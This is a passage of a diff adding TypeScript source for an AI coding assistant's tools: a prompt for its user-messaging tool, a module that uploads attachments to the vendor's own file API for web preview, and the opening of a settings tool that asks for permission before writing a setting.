uploadBriefAttachment(a.path, a.size, {
|
| 100 |
+
replBridgeEnabled: shouldUpload,
|
| 101 |
+
signal: uploadCtx.signal,
|
| 102 |
+
}),
|
| 103 |
+
),
|
| 104 |
+
)
|
| 105 |
+
return stated.map((a, i) =>
|
| 106 |
+
uuids[i] === undefined ? a : { ...a, file_uuid: uuids[i] },
|
| 107 |
+
)
|
| 108 |
+
}
|
| 109 |
+
return stated
|
| 110 |
+
}
|
src/tools/BriefTool/prompt.ts
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
export const BRIEF_TOOL_NAME = 'SendUserMessage'
|
| 2 |
+
export const LEGACY_BRIEF_TOOL_NAME = 'Brief'
|
| 3 |
+
|
| 4 |
+
export const DESCRIPTION = 'Send a message to the user'
|
| 5 |
+
|
| 6 |
+
export const BRIEF_TOOL_PROMPT = `Send a message the user will read. Text outside this tool is visible in the detail view, but most won't open it — the answer lives here.
|
| 7 |
+
|
| 8 |
+
\`message\` supports markdown. \`attachments\` takes file paths (absolute or cwd-relative) for images, diffs, logs.
|
| 9 |
+
|
| 10 |
+
\`status\` labels intent: 'normal' when replying to what they just asked; 'proactive' when you're initiating — a scheduled task finished, a blocker surfaced during background work, you need input on something they haven't asked about. Set it honestly; downstream routing uses it.`
|
| 11 |
+
|
| 12 |
+
export const BRIEF_PROACTIVE_SECTION = `## Talking to the user
|
| 13 |
+
|
| 14 |
+
${BRIEF_TOOL_NAME} is where your replies go. Text outside it is visible if the user expands the detail view, but most won't — assume unread. Anything you want them to actually see goes through ${BRIEF_TOOL_NAME}. The failure mode: the real answer lives in plain text while ${BRIEF_TOOL_NAME} just says "done!" — they see "done!" and miss everything.
|
| 15 |
+
|
| 16 |
+
So: every time the user says something, the reply they actually read comes through ${BRIEF_TOOL_NAME}. Even for "hi". Even for "thanks".
|
| 17 |
+
|
| 18 |
+
If you can answer right away, send the answer. If you need to go look — run a command, read files, check something — ack first in one line ("On it — checking the test output"), then work, then send the result. Without the ack they're staring at a spinner.
|
| 19 |
+
|
| 20 |
+
For longer work: ack → work → result. Between those, send a checkpoint when something useful happened — a decision you made, a surprise you hit, a phase boundary. Skip the filler ("running tests...") — a checkpoint earns its place by carrying information.
|
| 21 |
+
|
| 22 |
+
Keep messages tight — the decision, the file:line, the PR number. Second person always ("your config"), never third.`
|
src/tools/BriefTool/upload.ts
ADDED
|
@@ -0,0 +1,174 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/**
|
| 2 |
+
* Upload BriefTool attachments to private_api so web viewers can preview them.
|
| 3 |
+
*
|
| 4 |
+
* When the repl bridge is active, attachment paths are meaningless to a web
|
| 5 |
+
* viewer (they're on Claude's machine). We upload to /api/oauth/file_upload —
|
| 6 |
+
* the same store MessageComposer/SpaceMessage render from — and stash the
|
| 7 |
+
* returned file_uuid alongside the path. Web resolves file_uuid → preview;
|
| 8 |
+
* desktop/local try path first.
|
| 9 |
+
*
|
| 10 |
+
* Best-effort: any failure (no token, bridge off, network error, 4xx) logs
|
| 11 |
+
* debug and returns undefined. The attachment still carries {path, size,
|
| 12 |
+
* isImage}, so local-terminal and same-machine-desktop render unaffected.
|
| 13 |
+
*/
|
| 14 |
+
|
| 15 |
+
import { feature } from 'bun:bundle'
|
| 16 |
+
import axios from 'axios'
|
| 17 |
+
import { randomUUID } from 'crypto'
|
| 18 |
+
import { readFile } from 'fs/promises'
|
| 19 |
+
import { basename, extname } from 'path'
|
| 20 |
+
import { z } from 'zod/v4'
|
| 21 |
+
|
| 22 |
+
import {
|
| 23 |
+
getBridgeAccessToken,
|
| 24 |
+
getBridgeBaseUrlOverride,
|
| 25 |
+
} from '../../bridge/bridgeConfig.js'
|
| 26 |
+
import { getOauthConfig } from '../../constants/oauth.js'
|
| 27 |
+
import { logForDebugging } from '../../utils/debug.js'
|
| 28 |
+
import { lazySchema } from '../../utils/lazySchema.js'
|
| 29 |
+
import { jsonStringify } from '../../utils/slowOperations.js'
|
| 30 |
+
|
| 31 |
+
// Matches the private_api backend limit
|
| 32 |
+
const MAX_UPLOAD_BYTES = 30 * 1024 * 1024
|
| 33 |
+
|
| 34 |
+
const UPLOAD_TIMEOUT_MS = 30_000
|
| 35 |
+
|
| 36 |
+
// Backend dispatches on mime: image/* → upload_image_wrapped (writes
|
| 37 |
+
// PREVIEW/THUMBNAIL, no ORIGINAL), everything else → upload_generic_file
|
| 38 |
+
// (ORIGINAL only, no preview). Only whitelist raster formats the
|
| 39 |
+
// transcoder reliably handles — svg/bmp/ico risk a 400, and pdf routes
|
| 40 |
+
// to upload_pdf_file_wrapped which also skips ORIGINAL. Dispatch
|
| 41 |
+
// viewers use /preview for images and /contents for everything else,
|
| 42 |
+
// so images go image/* and the rest go octet-stream.
|
| 43 |
+
const MIME_BY_EXT: Record<string, string> = {
|
| 44 |
+
'.png': 'image/png',
|
| 45 |
+
'.jpg': 'image/jpeg',
|
| 46 |
+
'.jpeg': 'image/jpeg',
|
| 47 |
+
'.gif': 'image/gif',
|
| 48 |
+
'.webp': 'image/webp',
|
| 49 |
+
}
|
| 50 |
+
|
| 51 |
+
function guessMimeType(filename: string): string {
|
| 52 |
+
const ext = extname(filename).toLowerCase()
|
| 53 |
+
return MIME_BY_EXT[ext] ?? 'application/octet-stream'
|
| 54 |
+
}
|
| 55 |
+
|
| 56 |
+
function debug(msg: string): void {
|
| 57 |
+
logForDebugging(`[brief:upload] ${msg}`)
|
| 58 |
+
}
|
| 59 |
+
|
| 60 |
+
/**
|
| 61 |
+
* Base URL for uploads. Must match the host the token is valid for.
|
| 62 |
+
*
|
| 63 |
+
* Subprocess hosts (cowork) pass ANTHROPIC_BASE_URL alongside
|
| 64 |
+
* CLAUDE_CODE_OAUTH_TOKEN — prefer that since getOauthConfig() only
|
| 65 |
+
* returns staging when USE_STAGING_OAUTH is set, which such hosts don't
|
| 66 |
+
* set. Without this a staging token hits api.anthropic.com → 401 → silent
|
| 67 |
+
* skip → web viewer sees inert cards with no file_uuid.
|
| 68 |
+
*/
|
| 69 |
+
function getBridgeBaseUrl(): string {
|
| 70 |
+
return (
|
| 71 |
+
getBridgeBaseUrlOverride() ??
|
| 72 |
+
process.env.ANTHROPIC_BASE_URL ??
|
| 73 |
+
getOauthConfig().BASE_API_URL
|
| 74 |
+
)
|
| 75 |
+
}
|
| 76 |
+
|
| 77 |
+
// /api/oauth/file_upload returns one of ChatMessage{Image,Blob,Document}FileSchema.
|
| 78 |
+
// All share file_uuid; that's the only field we need.
|
| 79 |
+
const uploadResponseSchema = lazySchema(() =>
|
| 80 |
+
z.object({ file_uuid: z.string() }),
|
| 81 |
+
)
|
| 82 |
+
|
| 83 |
+
export type BriefUploadContext = {
|
| 84 |
+
replBridgeEnabled: boolean
|
| 85 |
+
signal?: AbortSignal
|
| 86 |
+
}
|
| 87 |
+
|
| 88 |
+
/**
|
| 89 |
+
* Upload a single attachment. Returns file_uuid on success, undefined otherwise.
|
| 90 |
+
* Every early-return is intentional graceful degradation.
|
| 91 |
+
*/
|
| 92 |
+
export async function uploadBriefAttachment(
|
| 93 |
+
fullPath: string,
|
| 94 |
+
size: number,
|
| 95 |
+
ctx: BriefUploadContext,
|
| 96 |
+
): Promise<string | undefined> {
|
| 97 |
+
// Positive pattern so bun:bundle eliminates the entire body from
|
| 98 |
+
// non-BRIDGE_MODE builds (negative `if (!feature(...)) return` does not).
|
| 99 |
+
if (feature('BRIDGE_MODE')) {
|
| 100 |
+
if (!ctx.replBridgeEnabled) return undefined
|
| 101 |
+
|
| 102 |
+
if (size > MAX_UPLOAD_BYTES) {
|
| 103 |
+
debug(`skip ${fullPath}: ${size} bytes exceeds ${MAX_UPLOAD_BYTES} limit`)
|
| 104 |
+
return undefined
|
| 105 |
+
}
|
| 106 |
+
|
| 107 |
+
const token = getBridgeAccessToken()
|
| 108 |
+
if (!token) {
|
| 109 |
+
debug('skip: no oauth token')
|
| 110 |
+
return undefined
|
| 111 |
+
}
|
| 112 |
+
|
| 113 |
+
let content: Buffer
|
| 114 |
+
try {
|
| 115 |
+
content = await readFile(fullPath)
|
| 116 |
+
} catch (e) {
|
| 117 |
+
debug(`read failed for ${fullPath}: ${e}`)
|
| 118 |
+
return undefined
|
| 119 |
+
}
|
| 120 |
+
|
| 121 |
+
const baseUrl = getBridgeBaseUrl()
|
| 122 |
+
const url = `${baseUrl}/api/oauth/file_upload`
|
| 123 |
+
const filename = basename(fullPath)
|
| 124 |
+
const mimeType = guessMimeType(filename)
|
| 125 |
+
const boundary = `----FormBoundary${randomUUID()}`
|
| 126 |
+
|
| 127 |
+
// Manual multipart — same pattern as filesApi.ts. The oauth endpoint takes
|
| 128 |
+
// a single "file" part (no "purpose" field like the public Files API).
|
| 129 |
+
const body = Buffer.concat([
|
| 130 |
+
Buffer.from(
|
| 131 |
+
`--${boundary}\r\n` +
|
| 132 |
+
`Content-Disposition: form-data; name="file"; filename="${filename}"\r\n` +
|
| 133 |
+
`Content-Type: ${mimeType}\r\n\r\n`,
|
| 134 |
+
),
|
| 135 |
+
content,
|
| 136 |
+
Buffer.from(`\r\n--${boundary}--\r\n`),
|
| 137 |
+
])
|
| 138 |
+
|
| 139 |
+
try {
|
| 140 |
+
const response = await axios.post(url, body, {
|
| 141 |
+
headers: {
|
| 142 |
+
Authorization: `Bearer ${token}`,
|
| 143 |
+
'Content-Type': `multipart/form-data; boundary=${boundary}`,
|
| 144 |
+
'Content-Length': body.length.toString(),
|
| 145 |
+
},
|
| 146 |
+
timeout: UPLOAD_TIMEOUT_MS,
|
| 147 |
+
signal: ctx.signal,
|
| 148 |
+
validateStatus: () => true,
|
| 149 |
+
})
|
| 150 |
+
|
| 151 |
+
if (response.status !== 201) {
|
| 152 |
+
debug(
|
| 153 |
+
`upload failed for ${fullPath}: status=${response.status} body=${jsonStringify(response.data).slice(0, 200)}`,
|
| 154 |
+
)
|
| 155 |
+
return undefined
|
| 156 |
+
}
|
| 157 |
+
|
| 158 |
+
const parsed = uploadResponseSchema().safeParse(response.data)
|
| 159 |
+
if (!parsed.success) {
|
| 160 |
+
debug(
|
| 161 |
+
`unexpected response shape for ${fullPath}: ${parsed.error.message}`,
|
| 162 |
+
)
|
| 163 |
+
return undefined
|
| 164 |
+
}
|
| 165 |
+
|
| 166 |
+
debug(`uploaded ${fullPath} → ${parsed.data.file_uuid} (${size} bytes)`)
|
| 167 |
+
return parsed.data.file_uuid
|
| 168 |
+
} catch (e) {
|
| 169 |
+
debug(`upload threw for ${fullPath}: ${e}`)
|
| 170 |
+
return undefined
|
| 171 |
+
}
|
| 172 |
+
}
|
| 173 |
+
return undefined
|
| 174 |
+
}
|
src/tools/ConfigTool/ConfigTool.ts
ADDED
|
@@ -0,0 +1,467 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { feature } from 'bun:bundle'
|
| 2 |
+
import { z } from 'zod/v4'
|
| 3 |
+
import {
|
| 4 |
+
type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 5 |
+
logEvent,
|
| 6 |
+
} from '../../services/analytics/index.js'
|
| 7 |
+
import { buildTool, type ToolDef } from '../../Tool.js'
|
| 8 |
+
import {
|
| 9 |
+
type GlobalConfig,
|
| 10 |
+
getGlobalConfig,
|
| 11 |
+
getRemoteControlAtStartup,
|
| 12 |
+
saveGlobalConfig,
|
| 13 |
+
} from '../../utils/config.js'
|
| 14 |
+
import { errorMessage } from '../../utils/errors.js'
|
| 15 |
+
import { lazySchema } from '../../utils/lazySchema.js'
|
| 16 |
+
import { logError } from '../../utils/log.js'
|
| 17 |
+
import {
|
| 18 |
+
getInitialSettings,
|
| 19 |
+
updateSettingsForSource,
|
| 20 |
+
} from '../../utils/settings/settings.js'
|
| 21 |
+
import { jsonStringify } from '../../utils/slowOperations.js'
|
| 22 |
+
import { CONFIG_TOOL_NAME } from './constants.js'
|
| 23 |
+
import { DESCRIPTION, generatePrompt } from './prompt.js'
|
| 24 |
+
import {
|
| 25 |
+
getConfig,
|
| 26 |
+
getOptionsForSetting,
|
| 27 |
+
getPath,
|
| 28 |
+
isSupported,
|
| 29 |
+
} from './supportedSettings.js'
|
| 30 |
+
import {
|
| 31 |
+
renderToolResultMessage,
|
| 32 |
+
renderToolUseMessage,
|
| 33 |
+
renderToolUseRejectedMessage,
|
| 34 |
+
} from './UI.js'
|
| 35 |
+
|
| 36 |
+
const inputSchema = lazySchema(() =>
|
| 37 |
+
z.strictObject({
|
| 38 |
+
setting: z
|
| 39 |
+
.string()
|
| 40 |
+
.describe(
|
| 41 |
+
'The setting key (e.g., "theme", "model", "permissions.defaultMode")',
|
| 42 |
+
),
|
| 43 |
+
value: z
|
| 44 |
+
.union([z.string(), z.boolean(), z.number()])
|
| 45 |
+
.optional()
|
| 46 |
+
.describe('The new value. Omit to get current value.'),
|
| 47 |
+
}),
|
| 48 |
+
)
|
| 49 |
+
type InputSchema = ReturnType<typeof inputSchema>
|
| 50 |
+
|
| 51 |
+
const outputSchema = lazySchema(() =>
|
| 52 |
+
z.object({
|
| 53 |
+
success: z.boolean(),
|
| 54 |
+
operation: z.enum(['get', 'set']).optional(),
|
| 55 |
+
setting: z.string().optional(),
|
| 56 |
+
value: z.unknown().optional(),
|
| 57 |
+
previousValue: z.unknown().optional(),
|
| 58 |
+
newValue: z.unknown().optional(),
|
| 59 |
+
error: z.string().optional(),
|
| 60 |
+
}),
|
| 61 |
+
)
|
| 62 |
+
type OutputSchema = ReturnType<typeof outputSchema>
|
| 63 |
+
|
| 64 |
+
export type Input = z.infer<InputSchema>
|
| 65 |
+
export type Output = z.infer<OutputSchema>
|
| 66 |
+
|
| 67 |
+
export const ConfigTool = buildTool({
|
| 68 |
+
name: CONFIG_TOOL_NAME,
|
| 69 |
+
searchHint: 'get or set Claude Code settings (theme, model)',
|
| 70 |
+
maxResultSizeChars: 100_000,
|
| 71 |
+
async description() {
|
| 72 |
+
return DESCRIPTION
|
| 73 |
+
},
|
| 74 |
+
async prompt() {
|
| 75 |
+
return generatePrompt()
|
| 76 |
+
},
|
| 77 |
+
get inputSchema(): InputSchema {
|
| 78 |
+
return inputSchema()
|
| 79 |
+
},
|
| 80 |
+
get outputSchema(): OutputSchema {
|
| 81 |
+
return outputSchema()
|
| 82 |
+
},
|
| 83 |
+
userFacingName() {
|
| 84 |
+
return 'Config'
|
| 85 |
+
},
|
| 86 |
+
shouldDefer: true,
|
| 87 |
+
isConcurrencySafe() {
|
| 88 |
+
return true
|
| 89 |
+
},
|
| 90 |
+
isReadOnly(input: Input) {
|
| 91 |
+
return input.value === undefined
|
| 92 |
+
},
|
| 93 |
+
toAutoClassifierInput(input) {
|
| 94 |
+
return input.value === undefined
|
| 95 |
+
? input.setting
|
| 96 |
+
: `${input.setting} = ${input.value}`
|
| 97 |
+
},
|
| 98 |
+
async checkPermissions(input: Input) {
|
| 99 |
+
// Auto-allow reading configs
|
| 100 |
+
if (input.value === undefined) {
|
| 101 |
+
return { behavior: 'allow' as const, updatedInput: input }
|
| 102 |
+
}
|
| 103 |
+
return {
|
| 104 |
+
behavior: 'ask' as const,
|
| 105 |
+
message: `Set ${input.setting} to ${jsonStringify(input.value)}`,
|
| 106 |
+
}
|
| 107 |
+
},
|
| 108 |
+
renderToolUseMessage,
|
| 109 |
+
renderToolResultMessage,
|
| 110 |
+
renderToolUseRejectedMessage,
|
| 111 |
+
async call({ setting, value }: Input, context): Promise<{ data: Output }> {
|
| 112 |
+
// 1. Check if setting is supported
|
| 113 |
+
// Voice settings are registered at build-time (feature('VOICE_MODE')), but
|
| 114 |
+
// must also be gated at runtime. When the kill-switch is on, treat
|
| 115 |
+
// voiceEnabled as an unknown setting so no voice-specific strings leak.
|
| 116 |
+
if (feature('VOICE_MODE') && setting === 'voiceEnabled') {
|
| 117 |
+
const { isVoiceGrowthBookEnabled } = await import(
|
| 118 |
+
'../../voice/voiceModeEnabled.js'
|
| 119 |
+
)
|
| 120 |
+
if (!isVoiceGrowthBookEnabled()) {
|
| 121 |
+
return {
|
| 122 |
+
data: { success: false, error: `Unknown setting: "${setting}"` },
|
| 123 |
+
}
|
| 124 |
+
}
|
| 125 |
+
}
|
| 126 |
+
if (!isSupported(setting)) {
|
| 127 |
+
return {
|
| 128 |
+
data: { success: false, error: `Unknown setting: "${setting}"` },
|
| 129 |
+
}
|
| 130 |
+
}
|
| 131 |
+
|
| 132 |
+
const config = getConfig(setting)!
|
| 133 |
+
const path = getPath(setting)
|
| 134 |
+
|
| 135 |
+
// 2. GET operation
|
| 136 |
+
if (value === undefined) {
|
| 137 |
+
const currentValue = getValue(config.source, path)
|
| 138 |
+
const displayValue = config.formatOnRead
|
| 139 |
+
? config.formatOnRead(currentValue)
|
| 140 |
+
: currentValue
|
| 141 |
+
return {
|
| 142 |
+
data: { success: true, operation: 'get', setting, value: displayValue },
|
| 143 |
+
}
|
| 144 |
+
}
|
| 145 |
+
|
| 146 |
+
// 3. SET operation
|
| 147 |
+
|
| 148 |
+
// Handle "default" — unset the config key so it falls back to the
|
| 149 |
+
// platform-aware default (determined by the bridge feature gate).
|
| 150 |
+
if (
|
| 151 |
+
setting === 'remoteControlAtStartup' &&
|
| 152 |
+
typeof value === 'string' &&
|
| 153 |
+
value.toLowerCase().trim() === 'default'
|
| 154 |
+
) {
|
| 155 |
+
saveGlobalConfig(prev => {
|
| 156 |
+
if (prev.remoteControlAtStartup === undefined) return prev
|
| 157 |
+
const next = { ...prev }
|
| 158 |
+
delete next.remoteControlAtStartup
|
| 159 |
+
return next
|
| 160 |
+
})
|
| 161 |
+
const resolved = getRemoteControlAtStartup()
|
| 162 |
+
// Sync to AppState so useReplBridge reacts immediately
|
| 163 |
+
context.setAppState(prev => {
|
| 164 |
+
if (prev.replBridgeEnabled === resolved && !prev.replBridgeOutboundOnly)
|
| 165 |
+
return prev
|
| 166 |
+
return {
|
| 167 |
+
...prev,
|
| 168 |
+
replBridgeEnabled: resolved,
|
| 169 |
+
replBridgeOutboundOnly: false,
|
| 170 |
+
}
|
| 171 |
+
})
|
| 172 |
+
return {
|
| 173 |
+
data: {
|
| 174 |
+
success: true,
|
| 175 |
+
operation: 'set',
|
| 176 |
+
setting,
|
| 177 |
+
value: resolved,
|
| 178 |
+
},
|
| 179 |
+
}
|
| 180 |
+
}
|
| 181 |
+
|
| 182 |
+
let finalValue: unknown = value
|
| 183 |
+
|
| 184 |
+
// Coerce and validate boolean values
|
| 185 |
+
if (config.type === 'boolean') {
|
| 186 |
+
if (typeof value === 'string') {
|
| 187 |
+
const lower = value.toLowerCase().trim()
|
| 188 |
+
if (lower === 'true') finalValue = true
|
| 189 |
+
else if (lower === 'false') finalValue = false
|
| 190 |
+
}
|
| 191 |
+
if (typeof finalValue !== 'boolean') {
|
| 192 |
+
return {
|
| 193 |
+
data: {
|
| 194 |
+
success: false,
|
| 195 |
+
operation: 'set',
|
| 196 |
+
setting,
|
| 197 |
+
error: `${setting} requires true or false.`,
|
| 198 |
+
},
|
| 199 |
+
}
|
| 200 |
+
}
|
| 201 |
+
}
|
| 202 |
+
|
| 203 |
+
// Check options
|
| 204 |
+
const options = getOptionsForSetting(setting)
|
| 205 |
+
if (options && !options.includes(String(finalValue))) {
|
| 206 |
+
return {
|
| 207 |
+
data: {
|
| 208 |
+
success: false,
|
| 209 |
+
operation: 'set',
|
| 210 |
+
setting,
|
| 211 |
+
error: `Invalid value "${value}". Options: ${options.join(', ')}`,
|
| 212 |
+
},
|
| 213 |
+
}
|
| 214 |
+
}
|
| 215 |
+
|
| 216 |
+
// Async validation (e.g., model API check)
|
| 217 |
+
if (config.validateOnWrite) {
|
| 218 |
+
const result = await config.validateOnWrite(finalValue)
|
| 219 |
+
if (!result.valid) {
|
| 220 |
+
return {
|
| 221 |
+
data: {
|
| 222 |
+
success: false,
|
| 223 |
+
operation: 'set',
|
| 224 |
+
setting,
|
| 225 |
+
error: result.error,
|
| 226 |
+
},
|
| 227 |
+
}
|
| 228 |
+
}
|
| 229 |
+
}
|
| 230 |
+
|
| 231 |
+
// Pre-flight checks for voice mode
|
| 232 |
+
if (
|
| 233 |
+
feature('VOICE_MODE') &&
|
| 234 |
+
setting === 'voiceEnabled' &&
|
| 235 |
+
finalValue === true
|
| 236 |
+
) {
|
| 237 |
+
const { isVoiceModeEnabled } = await import(
|
| 238 |
+
'../../voice/voiceModeEnabled.js'
|
| 239 |
+
)
|
| 240 |
+
if (!isVoiceModeEnabled()) {
|
| 241 |
+
const { isAnthropicAuthEnabled } = await import('../../utils/auth.js')
|
| 242 |
+
return {
|
| 243 |
+
data: {
|
| 244 |
+
success: false,
|
| 245 |
+
error: !isAnthropicAuthEnabled()
|
| 246 |
+
? 'Voice mode requires a Claude.ai account. Please run /login to sign in.'
|
| 247 |
+
: 'Voice mode is not available.',
|
| 248 |
+
},
|
| 249 |
+
}
|
| 250 |
+
}
|
| 251 |
+
const { isVoiceStreamAvailable } = await import(
|
| 252 |
+
'../../services/voiceStreamSTT.js'
|
| 253 |
+
)
|
| 254 |
+
const {
|
| 255 |
+
checkRecordingAvailability,
|
| 256 |
+
checkVoiceDependencies,
|
| 257 |
+
requestMicrophonePermission,
|
| 258 |
+
} = await import('../../services/voice.js')
|
| 259 |
+
|
| 260 |
+
const recording = await checkRecordingAvailability()
|
| 261 |
+
if (!recording.available) {
|
| 262 |
+
return {
|
| 263 |
+
data: {
|
| 264 |
+
success: false,
|
| 265 |
+
error:
|
| 266 |
+
recording.reason ??
|
| 267 |
+
'Voice mode is not available in this environment.',
|
| 268 |
+
},
|
| 269 |
+
}
|
| 270 |
+
}
|
| 271 |
+
if (!isVoiceStreamAvailable()) {
|
| 272 |
+
return {
|
| 273 |
+
data: {
|
| 274 |
+
success: false,
|
| 275 |
+
error:
|
| 276 |
+
'Voice mode requires a Claude.ai account. Please run /login to sign in.',
|
| 277 |
+
},
|
